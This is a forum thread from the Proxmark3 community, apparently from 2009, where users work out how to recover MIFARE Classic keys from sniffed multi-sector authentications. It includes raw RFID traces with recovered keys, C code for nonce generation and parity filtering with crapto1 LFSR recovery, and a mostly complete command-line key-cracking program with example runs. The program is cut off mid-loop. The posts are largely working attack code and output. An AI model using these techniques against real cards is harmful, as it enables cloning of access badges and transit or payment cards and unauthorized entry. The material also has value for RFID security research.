Proxmark3 community

Research, development and trades concerning the powerful Proxmark3 device.

Remember; sharing is caring. Bring something back to the community.


"Learn the tools of the trade the hard way." +Fravia

You are not logged in.

Announcement

Time changes and with it the technology
Proxmark3 @ discord

Users of this forum, please be aware that information stored on this site is not private.

#1 2009-05-05 11:51:25

mi_crack
Member
Registered: 2009-05-05
Posts: 5

Getting key of multi sector authentication

Hi,

I want to get the key of the multi authentication. I calculated the 64 Noces and tried to get the Key. But I found out that the Noce that was used for the encryption is not confirm to the algorithm to calculate a possible noce shown in "Esorics_2008".


Is this a known problem? or is there a other guideline to calculate possible noces.


 
PCD   :          52
PCD   :          52
PICC  :          04 0   00 1  
PCD   :          93 1   20 0  
PICC  :BCC OK    B2 1   01 0   E5 0   44 1   12 1  
PCD   :CRC OK    93 1   70 0   B2 1   01 0   E5 0   44 1   12 1   A2 0   AF 1   : SELECT B201E544
PICC  :CRC OK    08 0   B6 0   DD 1  
PCD   :CRC OK    60 1   03 1   6E 0   49 0   : AUTH1A   [Sector 0  Block 3]
PICC  :          38 0   92 0   60 1   A0 1   : PRNG1 389260A0
PCD   :          CD 1 ! 3B 0   E0 1 ! 9B 1 ! 1A 0   91 1 ! 69 1   FD 1 ! : AUTH2 CD3BE09B 1A9169FD
PICC  :          24 1   08 1 ! 16 1 ! 17 1   : PRNG2 24081617
                   
UID:              b201e544
Tag challenge:    389260a0
Reader challenge: cd3be09b
Reader response:  1a9169fd
Tag response:     24081617
ks2:        bf1fc4cd
ks3:        32c3ffd9
                   
[a5 a4 a3 a2 a1 a0]  <-- Found Key
[f4 71 dd db 8f a1]  <-- State after AUTH

PCD   :         
  [30]   8B 0  
  [03]   A4 1 !
  [99]   49 1 !
  [9A]   EE 1   : Read [Sector 0; Block 3] | CRC OK
PICC  :         
  [00]   06 1  
  [00]   66 0  
  [00]   4D 0  
  [00]   3F 0  
  [00]   F7 1  
  [00]   56 0  
  [78]   C3 0  
  [77]   80 1 !
  [88]   8C 0  
  [C1]   DC 1  
  [00]   C5 0 !
  [00]   13 1  
  [00]   5A 0  
  [00]   FB 1  
  [00]   FE 1  
  [00]   DA 1  
  [3E]   76 1 !
  [30]   89 1 ! : ENC: 
PCD   :         
  [60]   C0 1  
  [01]   DF 0  
  [7C]   04 1  
  [6A]   C3 1 ! : Multi AUTH1A [Sector 0; Block 1] same sector, new block

PICC  :          A4 0   DC 0   F0 1   F7 0   : enc(PRNG1) A4DCF0F7
PCD   :          E5 0   30 0 ! B9 1 ! 24 1   73 0   2E 0 ! 93 1   B2 1   : enc(AUTH2) E530B924 732E93B2
PICC  :          FF 0 ! 36 0 ! E4 1   3E 1 ! : enc(PRNG2) FF36E43E


compute the 64 possible noces and try to get the key.

Choose possible noce number 01, NOCE: A5BBFBE0 Fault...
Choose possible noce number 02, NOCE: A51BFB72 Fault...
Choose possible noce number 03, NOCE: 848FFAA7 Fault...
Choose possible noce number 04, NOCE: 842FFA35 Fault...
Choose possible noce number 05, NOCE: 346CF1B8 Fault...
Choose possible noce number 06, NOCE: 34CCF12A Fault...
Choose possible noce number 07, NOCE: 1558F0FF Fault...
Choose possible noce number 08, NOCE: 15F8F06D Fault...
Choose possible noce number 09, NOCE: C4D4C9D5 Fault...
Choose possible noce number 10, NOCE: C474C947 Fault...
Choose possible noce number 11, NOCE: E5E0C892 Fault...
Choose possible noce number 12, NOCE: E540C800 Fault...
Choose possible noce number 13, NOCE: 5503C38D Fault...
Choose possible noce number 14, NOCE: 55A3C31F Fault...
Choose possible noce number 15, NOCE: 7437C2CA Fault...
Choose possible noce number 16, NOCE: 7497C258 Fault...
Choose possible noce number 17, NOCE: D3E8A9E3 Fault...
Choose possible noce number 18, NOCE: D348A971 Fault...
Choose possible noce number 19, NOCE: F2DCA8A4 Fault...
Choose possible noce number 20, NOCE: F27CA836 Fault...
Choose possible noce number 21, NOCE: 423FA3BB Fault...
Choose possible noce number 22, NOCE: 429FA329 Fault...
Choose possible noce number 23, NOCE: 630BA2FC Fault...
Choose possible noce number 24, NOCE: 63ABA26E (the only Noce that fit, but the real noce is B489A26E
                                                BUT that noce is not confirm to the algorithm (nk ^ nk2 ^ nk3 ^ nk5 ^ nk16 = 0)
                                                which is shown in "Esorics_2008" to calculate a possible noce)
                   
UID:              b201e544
Tag challenge:    63aba26e
Reader challenge: e530b924
Reader response:  732e93b2
Tag response:     ff36e43e
ks2:        8c59d3d5
ks3:        bd97d426
                   

[a5 a4 a3 a2 82 72]  <-- Found Key (but the key must be the same like before [a5 a4 a3 a2 a1 a0])
[5c 36 83 ff ed 95]  <-- State after Auth


PCD   :         
  [30]   8E 0  
  [01]   AE 0  
  [8B]   A9 1  
  [B9]   83 0   : Read [Sector 0; Block 1] | CRC OK
PICC  :         
  [CD]   F1 0 !
  [00]   2C 0 !
  [34]   43 0 !
  [48]   E2 0 !
  [2F]   B8 1  
  [48]   8B 0 !
  [2E]   B1 0  
  [48]   FB 1  
  [00]   E8 1  
  [00]   CA 1  
  [00]   9E 0  
  [00]   8B 1  
  [00]   C8 1  
  [00]   84 0  
  [00]   E3 0  
  [00]   A9 0  
  [F2]   3F 0 !
  [A5]   45 1   : ENC: 

I use crapto at version 2.2.

Last edited by mi_crack (2009-05-05 11:54:51)

Offline

#2 2009-05-05 22:03:06

rule
Member
Registered: 2008-05-21
Posts: 417

Re: Getting key of multi sector authentication

Did you used the OpenPICC to capture this trace? I was wondering if it gives you useful timing information for cutting down the nonces.

Offline

#3 2009-05-06 10:53:43

mi_crack
Member
Registered: 2009-05-05
Posts: 5

Re: Getting key of multi sector authentication

Hi,

@hat: You're right. It's a valid noce.

@roel: I used the OpenPICC to get this trace. I think the new Firmware of the OpenPICC is working with that kind of timings. But I don't use timings to pick one of the 64noces, yet. I use the way shown below to get to key. 


I can calculate the right noce, but I must do an indirection.


I calculate the noces with this code.

for(run = 0; run<16; run++)
{               
  tag_noce |= ((!!(tag_noce & (1<<(run)))     ^ 
                    !!(tag_noce & (1<<(run + 2))) ^
                    !!(tag_noce & (1<<(run + 3))) ^
                    !!(tag_noce & (1<<(run + 5))) )<<(run + 16) );  
} 

After that I can reduce the noces by the known "parity trick" (Esorics_2008.pdf).
Than I use "lfsr_recovery64()" (crapto1 v2.2) to get the lfsr state. If "lfsr state != 0"
I can calculate a key. But the last 2 bytes of that key are wrong.

To find out the right noce I use the noce above (noce -> "lfsr != 0").

#include <stdint.h>

// old_noce = AA BB CC DD
// check = DD CC 00 00
// new_noce = ?? ?? CC DD

uint32_t old_noce    // noce get lfsrstate != 0, but wrong key
uint32_t new_noce  ^  // noce to get right key
uint32_t valid_noce[]  // all valid noces
uint8_t *pt = (uint8_t*)&old_noce;
uint32_t check = uint32_t(pt[0]<<24 | pt[1]<<8);
uint32_t run = 0;

while( check != (valid_noce[run++] & 0xFFFF0000) );
new_noce = valid_noce[--run];

// use new_noce to get the right key

When I use the new noce I get the right key. I think it is a fast way to get the key, because
I don't calculate up to 64 keys which must be checked.

But I'm surprised why my first calculated noce is wrong.

Is there maybe an other (faster/easier) way to get the right key?


mi_crack

Offline

#4 2009-05-06 14:00:37

rule
Member
Registered: 2008-05-21
Posts: 417

Re: Getting key of multi sector authentication

Well, since you are recovering the key of a next sector, I assume you have already recovered the key for another sector. If so, you can better use the 4th attack of Wirelessly Pickpocketing a Mifare Classic Card.

Offline

#5 2009-05-06 19:48:48

mi_crack
Member
Registered: 2009-05-05
Posts: 5

Re: Getting key of multi sector authentication

Hi,

I found the problem with my noce generation. I must change the bytes after my first noce generation. With this change I get the right noce and the key.

uint32_t tag_noce;
uint32_t noce;
uint8_t *ptag_noce = (uint8_t *)&tag_noce;
uint8_t *noce = (uint8_t *)&noce;

/* calculate noce */
for(run = 0; run<16; run++)
{               
  tag_noce |= ((!!(tag_noce & (1<<(run)))     ^ 
                        !!(tag_noce & (1<<(run + 2))) ^
                        !!(tag_noce & (1<<(run + 3))) ^
                        !!(tag_noce & (1<<(run + 5))) )<<(run + 16) );  
} 

/* rotate bytes */
pnoce[0] = ptag_noce[3];
pnoce[1] = ptag_noce[2];
pnoce[2] = ptag_noce[1];
pnoce[3] = ptag_noce[0];

tag_noce = noce;  // <- correct noce

Last edited by mi_crack (2009-05-06 19:51:01)

Offline

#6 2009-05-09 11:56:12

Dennyxiao
Contributor
Registered: 2008-11-01
Posts: 43

Re: Getting key of multi sector authentication

muti sector should be solved.

Offline

#7 2009-07-03 04:43:00

Sly
Contributor
Registered: 2009-03-02
Posts: 19

Re: Getting key of multi sector authentication

Is this code fully working?

I'd really like to be able to do Multi-sector keys, I think I understand the theory that basically... By authenticating to one sector you know what the random number generation of the tag is and by working with the timing of it you can calculate a rough idea of what the key is via the Tags nonce when authenticating with other sectors?

Offline

#8 2009-07-06 07:13:13

Sly
Contributor
Registered: 2009-03-02
Posts: 19

Re: Getting key of multi sector authentication

hat wrote:

Timing is only a secondary thing to use in this case. The main attac k on multi sector authentication comes from the parity bits.  which allow you to narrow down the 6500 nonces down to 64. in addition to that you can use the timing to select the most likely out of those. though since testing 64 nonces at a speed of sub 100ms on reasonable hardware, takes about 6 seconds. It might not be worth wiring up the code.

The code in post 5 only tries to generate all nonces (which could then be filtered for the ones that would generate the right parity bits.). The entire code could be replaced tag_nonce = prng_successor(tag_nonce, 1);

Thank you, still abit over my head but it's sounds enough for me to research and look into. The only thing I need to to know I guess, is the 'filter' calculated using the nonce from snooping the already known sector authentication or is it from the sector that I'm looking to gain the key for?

Last edited by Sly (2009-07-06 07:48:30)

Offline

#9 2009-09-28 14:23:56

schwa226
Contributor
Registered: 2009-09-17
Posts: 17

Re: Getting key of multi sector authentication

Hi,

I have a question about the macro: FOREACH_VALID_NONCE

As I'am not the perfect C-programmer I can't get the function compiled.

As in the example above I tried:

  FOREACH_VALID_NONCE(Nt'',filter,3);
  {
  }

Nt'' is the second encrypted nounce from the tag, filter is:

where filter, is the parity bits xorred against the next bits.

parity(b5) ^ !(Least Significant Bit(ab));
parity(ab) ^ !(Least Significant Bit(1d));
parity(1d) ^ !(Least Significant Bit(2b));

The filter = b(1,1,0) = 0x06.


May you have another example for this?

But I get everytime the error:

error C2275: 'uint32_t' : illegal use of this type as an expression

Offline

#10 2009-09-28 20:36:34

schwa226
Contributor
Registered: 2009-09-17
Posts: 17

Re: Getting key of multi sector authentication

thx!

1. Sure not! Just for understanding... I was not sure if the encrypted or decrypted tag nonce will be used.

2. The line is directly on (uint32_t nonce):

FOREACH_VALID_NONCE(nonce,3,3)
{
}

System is Windows XP SP3 with VS2008, crapto1 v2.4, X86:

Fehler    2    error C2275: 'uint32_t': illegal use of this type as an expression    c:\test\mifare\nfc-test.c    136    nfc-test
Fehler    3    error C2146: syntax error: missing ';' before identifier '__n'    c:\test\mifare\nfc-test.c    136    nfc-test
Fehler    4    error C2065: '__n': undeclared identifier    c:\test\mifare\nfc-test.c    136    nfc-test
Fehler    5    error C2065: '__M': undeclared identifier    c:\test\mifare\nfc-test.c    136    nfc-test
Fehler    6    error C2143: syntax error: missing ';' before 'Typ'    c:\test\mifare\nfc-test.c    136    nfc-test
Fehler    7    error C2065: '__n': undeclared identifier    c:\test\mifare\nfc-test.c    136    nfc-test
Fehler    8    error C2065: '__M': undeclared identifier    c:\test\mifare\nfc-test.c    136    nfc-test
Fehler    9    error C2065: '__n': undeclared identifier    c:\test\mifare\nfc-test.c    136    nfc-test
Fehler    10    error C2065: '__i': undeclared identifier    c:\test\mifare\nfc-test.c    136    nfc-test
Fehler    11    error C2065: '__i': undeclared identifier    c:\test\mifare\nfc-test.c    136    nfc-test
Fehler    12    error C2065: '__i': undeclared identifier    c:\test\mifare\nfc-test.c    136    nfc-test
Fehler    13    error C2065: '__i': undeclared identifier    c:\test\mifare\nfc-test.c    136    nfc-test
Fehler    14    error C2065: '__M': undeclared identifier    c:\test\mifare\nfc-test.c    136    nfc-test
Fehler    15    error C2065: '__i': undeclared identifier    c:\test\mifare\nfc-test.c    136    nfc-test
Fehler    16    error C2065: '__M': undeclared identifier    c:\test\mifare\nfc-test.c    136    nfc-test
Fehler    17    error C2065: '__M': undeclared identifier    c:\test\mifare\nfc-test.c    136    nfc-test
Fehler    18    error C2065: '__i': undeclared identifier    c:\test\mifare\nfc-test.c    136    nfc-test

4.

what the F is up with numbering your sentences

sorry but I am not from an english speaking area... wink

EDIT:
I use this header: http://msinttypes.googlecode.com/svn/trunk/stdint.h

Last edited by schwa226 (2009-09-28 21:00:29)

Offline

#11 2009-09-29 08:35:06

schwa226
Contributor
Registered: 2009-09-17
Posts: 17

Re: Getting key of multi sector authentication

Here is a sample project:
http://rapidshare.com/files/286382659/t … h.zip.html

It only includes the "FOREACH_VALID_NONCE" macro.

As you where writting already somewhere else:

foreach valid_nonce
{
  ks=receiven_encrypted_nonce ^ valid_nonce;
  states=revover32(ks);
  foreach state in states
    {
    if (state also matches another encrypted nonce) found solution.
    }
}
the parity bits are used to limit the amount of valid_nonces

I have some problems to understand how to create the valid nonces...
The inner code may look something like the member Rich has posted:

??foreachvalidenonce??
{
      ks1 = valid_nonce ^ nt_enc;
                count = 0;
    revstate = lfsr_recovery32(ks1,valid_nonce ^ uid);
  
    while((revstate->odd != 0x0) || (revstate->even != 0x0)){
      lfsr_rollback(revstate, valid_nonce ^ uid, 0);
      crypto1_get_lfsr(revstate,&key);
      printf("possible key: %qx\n", key);
      revstate++;
      count++;
    }
}

I posted already here: http://www.libnfc.org/community/post/411/#p411 a sample mutli sector auth.
So I want to recheck if KeyA: 0xA0A1A2A3A4A5 and KeyB: 0xB0B1B2B3B4B5 can be found for block 0x03.

EDIT:
Also I found this code:
http://fr.pastebin.ca/1550610
This looks like an decryption of an snooped multi auth, isn't it?
The trace is here: http://www.proxmark.org/forum/post/550/#p550
He was every time logging in to block 0 with KEYa = 0xffffffffffff.
But if I try to run this code there is no 0xffffffffff included! All keys are in this format: 0x????????da6a

But for my tests I only have the enc [Nt]. Have to look more inside this code!

Last edited by schwa226 (2009-09-29 17:31:24)

Offline

#12 2009-09-30 09:04:01

schwa226
Contributor
Registered: 2009-09-17
Posts: 17

Re: Getting key of multi sector authentication

Ok,

after analysing the code a little bit I got these results:

Code is only for testing the trace at post http://www.proxmark.org/forum/post/550/#p550
I start running all possible noces (for testing breaking at the known plain Nt 0xA55D950B):

    for( run_var = 0; run_var <= 0x0000FFFF; run_var++ )
    {
      nt = prng_successor( nt, 1 );

    nonce[run_var] = nt;

    printf("nonce: %08x number: %05d\n",nt,run_var+1);
    
    //stop nonce genaration because of known plain Nt 0xA55D950B
    if (nt == 0xA55D950B)
    {
      //encrypted Nt
      nt_enc = 0x5a920d85;

      //keystream of generated nonce
      ks1 = (nt)^nt_enc;
        count = 0;
      
      //state of the keystream
      revstate = lfsr_recovery32(ks1, (nt)^uid);
    
      //roll back the state
      while((revstate->odd != 0x0) || (revstate->even != 0x0)){
        lfsr_rollback(revstate, (nt)^uid, 0);
        crypto1_get_lfsr(revstate,&lfsr);
        
        //stop test because of known key 0xffffffffffff
        if ((plfsr[0] == 0xFF) && (plfsr[1] == 0xFF))
        {
        printf(" Possible Key: [%02x %02x %02x %02x %02x %02x]\n",plfsr[5],plfsr[4],plfsr[3],plfsr[2],plfsr[1],plfsr[0]);

          // Init cipher with possible key
          pcs = crypto1_create(lfsr);

          //decrypt encrypted Nt
          nt_dec = nt_enc ^ crypto1_word(pcs,nt_enc ^ uid,1);

          //free key state
          crypto1_destroy(pcs);

        printf(" decrypted nonce: %08X  should be 0xA55D950B\n",nt_dec);


        }
        revstate++;
        count++;
      }
    }
  }

So it runns 0xFFFF nonces (not filtered by parity yet).
Then get ks1 and get the state of it.

Then try all states and roll back to get possible keys. For testing again I am filtering the known key 0xffffffffffff
Then decrypt the encrypted Nt for check.

Now I see that also other keys will decrypt the same plain Nt.

Also I have now 0xFFFF possible nonces each nonce I have to rollback:

while((revstate->odd != 0x0) || (revstate->even != 0x0))

So a lot of possible keys for each nonce are generated...

Sure I do guess an Nt get the possible key and the create a new chiper with tis key, decrypt the nt_enc and the result will be the same Nt.

I am confused again!
How to filter if the guessed nonce will be the correct one?

nonce: 2dedaa5c number: 02855
nonce: 9676552e number: 02856
nonce: 4bbb2a17 number: 02857
nonce: a55d950b number: 02858
Possible Key: [62 7a ff ba ff ff]
decrypted nonce: A55D950B  should be 0xA55D950B
Possible Key: [82 fe ef dd ff ff]
decrypted nonce: A55D950B  should be 0xA55D950B
Possible Key: [13 dc 57 ba ff ff]
decrypted nonce: A55D950B  should be 0xA55D950B
Possible Key: [b5 ee f7 bb ff ff]
decrypted nonce: A55D950B  should be 0xA55D950B
Possible Key: [76 0a fd c9 ff ff]
decrypted nonce: A55D950B  should be 0xA55D950B
Possible Key: [ff 48 fb eb ff ff]
decrypted nonce: A55D950B  should be 0xA55D950B
Possible Key: [59 5e ad dc ff ff]
decrypted nonce: A55D950B  should be 0xA55D950B
Possible Key: [89 2b bd dc ff ff]
decrypted nonce: A55D950B  should be 0xA55D950B
Possible Key: [49 5d e9 f5 ff ff]
decrypted nonce: A55D950B  should be 0xA55D950B
Possible Key: [41 00 7f dd ff ff]
decrypted nonce: A55D950B  should be 0xA55D950B
Possible Key: [7c 40 3f dc ff ff]
decrypted nonce: A55D950B  should be 0xA55D950B
Possible Key: [d9 6a 7e cd ff ff]
decrypted nonce: A55D950B  should be 0xA55D950B
Possible Key: [c5 b9 ab e3 ff ff]
decrypted nonce: A55D950B  should be 0xA55D950B
Possible Key: [15 69 7e dd ff ff]
decrypted nonce: A55D950B  should be 0xA55D950B
Possible Key: [41 4d 7e cc ff ff]
decrypted nonce: A55D950B  should be 0xA55D950B
Possible Key: [89 b3 79 c8 ff ff]
decrypted nonce: A55D950B  should be 0xA55D950B
Possible Key: [c2 bf bf fe ff ff]
decrypted nonce: A55D950B  should be 0xA55D950B
Possible Key: [ff ff ff ff ff ff]                                                 <- right key
decrypted nonce: A55D950B  should be 0xA55D950B


Another thing:

foreach state in states
        {
        if (state also matches another encrypted nonce) found solution.
        }

So if I want to compare all states what one encrypted nonce is generating with another encrypted nonce I got following problem:

As I tried it with known plain nonce I got 100004 states until odd or even == 0.
One of these is the right state- exactly at position 50581:

[Nt]: 1f  f7  e9  57

dec: 0x27802b4c

-    revstate  0x014a2ce8 {odd=0x0033bb33 even=0x002a2a6e }  Crypto1State *
    odd  0x0033bb33  unsigned int
    even  0x002a2a6e  unsigned int

    lfsr  0x0000b0b1b2b3b4b5  unsigned __int64

So if I feed the next encrypted nonce I will get another amount of states.
I have to compare each entry of my state list with the states of the new encrypted nonce.

So the compare will take (count of states of second encrypted nonce) * (count of previuos states).
This would take a large amount of time for computing only one plain nonce.
One time checking all 100004 entrys takes around 19 seconds. Lets say I have to go again to entry 50581 of the new states list:
50581 * 19s ~ 267 hours = ~11 days for one nonce!

Can't imaging how long this will take if more plain Nts (max 0xFFFF) will be done!

I thought I can recover max 0xFFFF canditate keys (if no parity filter used)...

May somebody can clear this for me?

Last edited by schwa226 (2009-09-30 14:33:34)

Offline

#13 2009-09-30 15:27:48

schwa226
Contributor
Registered: 2009-09-17
Posts: 17

Re: Getting key of multi sector authentication

- It's faster to for each possible key you find, you try to decrypt the second nonce. only one 1 out of every 65536 decrypted nonces will be a 'valid nonce' namely something that can be generated by the 16bit prng lfsr. You can easily check if a number is a valid nonce. just drop 16 bits of the number you find run it through the prng for 16 steps and see if you get the original number back.

thx for this idea!

With compare if decrypted nonce is in table of valide nonces (count 0xFFFF):

nonce: a55d950b number: 02858
Possible Key: [ff ff ff ff ff ff]
time needed for nonce: 17 seconds

Feeded in known plain nonce to check only one nonce, encrypted nonce for generating keys and second encrypted nonce for decrypting and rechecking with the valide nonce table.

17 seconds per nonce!
So with parity check (2^13 possible nonces) it should be a maximum time ~ 40 minutes to recover the key.

But for my own trace:

nonce: 27802b4c number: 48509
Possible Key: [b0 b1 b2 b3 b4 b5]
time needed for nonce: 26 seconds

Do you mean with drop 16bits:

  nt = a_valide_nonce & 0x0000FFFF;
  a_valide_nonce = prng_successor( nt, 16 );

Can't get good results of this!

Last edited by schwa226 (2009-09-30 15:34:34)

Offline

#14 2009-10-01 07:31:31

schwa226
Contributor
Registered: 2009-09-17
Posts: 17

Re: Getting key of multi sector authentication

'smarter way to check'

Sorry, I didn't find something about it. May you have some idea about it because I think it will really speed up the code. Otherwise each key have to be tested against 0xFFFF valide nonces.

The other thing is to limit down the nonces to 2^13 by the parity bits...
This may fixed by entering manual enter the parity of the recorded trace.

I tried it with a few different [Nt]s. The plain Nt was everytime included in the 2^13 possible nonces.

But if I start the searching:

try nonce nr 0000
plain nonce: 0x55058004 number: 00000  Possible Key: [08 d5 8e 6a f9 6f]
try nonce nr 0001
plain nonce: 0x1425DB51 number: 00001  Possible Key: [19 df ce 36 04 91]
plain nonce: 0x1425DB51 number: 00001  Possible Key: [76 1e 2c 4a 36 c1]
plain nonce: 0x1425DB51 number: 00001  Possible Key: [ff 01 83 6a e8 e3]
plain nonce: 0x1425DB51 number: 00001  Possible Key: [15 c8 61 24 9f 69]
try nonce nr 0002
plain nonce: 0xA2643B0A number: 00002  Possible Key: [1c 32 72 39 b6 a1]
plain nonce: 0xA2643B0A number: 00002  Possible Key: [8e 3a d5 79 02 db]
try nonce nr 0003
plain nonce: 0xD98EC268 number: 00003  Possible Key: [92 49 11 cd fa 96]
try nonce nr 0004
plain nonce: 0x8CC6CA79 number: 00004  Possible Key: [6d 34 20 e0 ce ac]
plain nonce: 0x8CC6CA79 number: 00004  Possible Key: [65 f7 4e 0a 38 d4]
try nonce nr 0005
plain nonce: 0x68AC9CF7 number: 00005  Possible Key: [b2 57 83 f3 96 ca]
try nonce nr 0006
plain nonce: 0x95F39E66 number: 00006  Possible Key: [d0 4e d2 69 ee 93]

I try with each nonce to get the key. I verify the key now if the second [Nt] is in the table of possible nonces. But as you can see there are sometimes more than 1 possible key on one nonce.

My question is now:
I generate 2^13 nonces_1 for the first [Nt].
I generate 2^13 nonces_2 for the second [Nt].

Than I check for keys with nonces_1 and decrypt the second [Nt]. The decrypted nonce should now in the table of nonces_2, isn't it?

This will speed up the search:

try nonce nr 0000
plain nonce: 0x55058004 number: 00000  Possible Key: [08 D5 8E 6A F9 6F]
try nonce nr 0001
plain nonce: 0x1425DB51 number: 00001  Possible Key: [19 DF CE 36 04 91]
try nonce nr 0002
try nonce nr 0003
try nonce nr 0004
try nonce nr 0005
try nonce nr 0006
try nonce nr 0007
try nonce nr 0008
try nonce nr 0009
try nonce nr 0010
try nonce nr 0011
try nonce nr 0012
try nonce nr 0013
try nonce nr 0014
try nonce nr 0015
try nonce nr 0016
try nonce nr 0017
try nonce nr 0018
try nonce nr 0019
plain nonce: 0xC3A7F5D7 number: 00019  Possible Key: [43 76 B4 AE B0 6E]
try nonce nr 0020
try nonce nr 0021
try nonce nr 0022
plain nonce: 0x5A7F9D64 number: 00022  Possible Key: [2B 0E D3 58 F9 8E]
plain nonce: 0x5A7F9D64 number: 00022  Possible Key: [56 89 F2 72 F3 86]
try nonce nr 0023
try nonce nr 0024
try nonce nr 0025
try nonce nr 0026
try nonce nr 0027
try nonce nr 0028
try nonce nr 0029
try nonce nr 0030
try nonce nr 0031
try nonce nr 0032
try nonce nr 0033
try nonce nr 0034
try nonce nr 0035
try nonce nr 0036

Last edited by schwa226 (2009-10-01 12:47:10)

Offline

#15 2009-10-02 10:05:34

schwa226
Contributor
Registered: 2009-09-17
Posts: 17

Re: Getting key of multi sector authentication

Ok,

I think I almost got it. It isn't the fastest way but it seems to work.
The big problem what I got now is that the source have a memory leak.
After ~1000 nonces >2GB, I think the problem is with the "revstate" but I don't know how to fix this!

Can somebody take a look and help an non-professional C programer to fix the memory leak!?

Big thx!!

The code work as follows.

The first parameter is the first [Nt] + parity from logfile -> build 2^13 nonces table.
If the state produce an right key the second [Nt] will be decrypted and rechecked against his 2^13 nonces table.
If it fits the same is done with the third [Nt].

So the amount of possible keys should be very small down to 1.

I found out that one startet attack is fixed on one CPU of my dual core.
That's the reason why it is possible to start the testing from a specific nonce and how many times it should try.
So you can split the 2^13 possible nonces of the first [Nt] in two halfs. One instance tries the lower half, the other the upper half.
Also it can be stopped and restarted on the last nonce in the log-file.

I just got the nonce in the middle and started two times the program to use both CPU cores.


Sample from the multi auth trace: http://www.proxmark.org/forum/post/550/#p550

test_nonces 9c599b32 5a920d85 0 1 0 36412479 0 1 0 b5ab1d2b 0 0 0 1 "c:\log_1.txt" "c:\keys.txt" A55D950B

the result will looks like:

try nonce: A55D950B nr 0000
Possible Key: [FF FF FF FF FF FF]
time needed for this nonce: 7 seconds

and from my own trace: http://www.libnfc.org/community/post/411/#p411

test_nonces b4d103a9 1ff7e957 1 1 1 892be19f 1 1 0 9fdfc97f 1 1 0 1 "c:\log_test.txt" "c:\keys.txt" 27802b4c

Result:

try nonce: 27802B4C nr 0000
Possible Key: [B0 B1 B2 B3 B4 B5]
time needed for this nonce: 9 seconds

#include "crapto1.h"
#include <time.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>

#define DEBUG

uint32_t compare (const void * a, const void * b)
{
  return ( *(uint32_t*)a - *(uint32_t*)b );
}

int main (int argc, char **argv)
{
 FILE *fp;
 struct Crypto1State* revstate;
 struct Crypto1State* pcs;

 uint64_t lfsr;
 unsigned char* plfsr = (unsigned char*)&lfsr;
 
 uint32_t uid;
 clock_t start, finish;


 uint32_t i = 0;
 uint32_t timeleft=0, timecomplete=0;

 ////////////////////////////////
 uint32_t nonce_1[0x2000];
 uint32_t nonce_2[0x2000];
 uint32_t nonce_3[0x2000];
 
 uint64_t run_var;
 uint32_t nt = prng_successor( 0xAAAA, 16 );
 uint8_t *p_nt = (uint8_t *)&nt;

 uint32_t ks1, count_nonces;
 uint64_t count_1 = 0;
 uint64_t count_2 = 0;
 uint64_t count_3 = 0;
 uint32_t nt_enc_1, nt_enc_2, nt_enc_3, nt_dec_2, nt_dec_3;
 char keyfile[256], logfile[256];
 uint64_t pos, pos2;
 int nt_enc_p_1[3];
 int nt_enc_p_2[3];
 int nt_enc_p_3[3];


 if (argc < 17)
 {
  printf("\n Welcome to mutli sector decrypt\n\n");
  printf(" usage:\n");
  printf("  test_nonces <uid> <1. [Nt]> <1. [Nt] parity byte 1> <1. [Nt] parity byte 2>\n");
  printf("                    <1. [Nt] parity byte 3>\n");
  printf("                    <2. [Nt]> <2. [Nt] parity byte 1> <2. [Nt] parity byte 2>\n");
  printf("                    <2. [Nt] parity byte 3>\n");
  printf("                    <3. [Nt]> <3. [Nt] parity byte 1> <3. [Nt] parity byte 2>\n");
  printf("                    <3. [Nt] parity byte 3>\n");
  printf("                    <count nonces> <logfile> <keyfile> optional: <start with Nt>\n\n");
  printf(" example:\n");
  printf("  UID: 0x9c599b32\n");
  printf("  wrong parity = 0 = \"!\"\n");
  printf("  parity ok = 1\n");
  printf("  1. [Nt] 5a! 92  0d! 85!  ==  5a920d85, wrong parity: 0 1 0\n");
  printf("  2. [Nt] 36! 41  24! 79   ==  36412479, wrong parity: 0 1 0\n");
  printf("  3. [Nt] b5! ab! 1d! 2b   ==  b5ab1d2b, wrong parity: 0 0 0\n\n");
  printf(" test_nonces 9c599b32 5a920d85 0 1 0 36412479 0 1 0 b5ab1d2b 0 0 0 5\n");
  printf("     \"c:\\log.txt\" \"c:\\keys.txt\" A55D950B\n");
  printf("\n doing the nonce check 5 times starting from known plain nonce A55D950B\n");
  printf("  Result should be: [FF FF FF FF FF FF]\n");

  return 0;
 }

 sscanf(argv[1],"%x",&uid);
 sscanf(argv[2],"%x",&nt_enc_1);
 sscanf(argv[3],"%d",&nt_enc_p_1[0]);
 sscanf(argv[4],"%d",&nt_enc_p_1[1]);
 sscanf(argv[5],"%d",&nt_enc_p_1[2]);
 sscanf(argv[6],"%x",&nt_enc_2);
 sscanf(argv[7],"%d",&nt_enc_p_2[0]);
 sscanf(argv[8],"%d",&nt_enc_p_2[1]);
 sscanf(argv[9],"%d",&nt_enc_p_2[2]);
 sscanf(argv[10],"%x",&nt_enc_3);
 sscanf(argv[11],"%d",&nt_enc_p_3[0]);
 sscanf(argv[12],"%d",&nt_enc_p_3[1]);
 sscanf(argv[13],"%d",&nt_enc_p_3[2]);
 sscanf(argv[14],"%d",&count_nonces);
 sscanf(argv[15],"%s %*s",logfile);
 sscanf(argv[16],"%s %*s",keyfile);


 //if optional start Nt:
 if (argc == 18)
 {
   sscanf(argv[17],"%x",&nt);
 }


//////////////////////////////////////////////
for(i=0; i < 0x2000; i++)
{
  nonce_1[i]=0;
  nonce_2[i]=0;
  nonce_3[i]=0;
}


//generate table of possible nonces:
for (i = 0; i < 0x0000FFFF; i++)
{
  //generate table of valide 2^13 nonces from first [Nt]
  ks1 = nt_enc_1 ^ nt;

  if ((ODD_PARITY((nt >> 24) & 0xFF) == ((!nt_enc_p_1[0]) ^ ODD_PARITY((nt_enc_1 >> 24) & 0xFF) ^ BIT(ks1,16))) &
    (ODD_PARITY((nt >> 16) & 0xFF) == ((!nt_enc_p_1[1]) ^ ODD_PARITY((nt_enc_1 >> 16) & 0xFF) ^ BIT(ks1,8))) &
    (ODD_PARITY((nt >> 8) & 0xFF) == ((!nt_enc_p_1[2]) ^ ODD_PARITY((nt_enc_1 >> 8) & 0xFF) ^ BIT(ks1,0))))
    {
      nonce_1[count_1] = nt;
      if (count_1 == 0x1000)
        printf(" nonce in the middle: %08X\n", nt);
      count_1++;
    }
  //generate table of valide 2^13 nonces from second [Nt]
  ks1 = nt_enc_2 ^ nt;

  if ((ODD_PARITY((nt >> 24) & 0xFF) == ((!nt_enc_p_2[0]) ^ ODD_PARITY((nt_enc_2 >> 24) & 0xFF) ^ BIT(ks1,16))) &
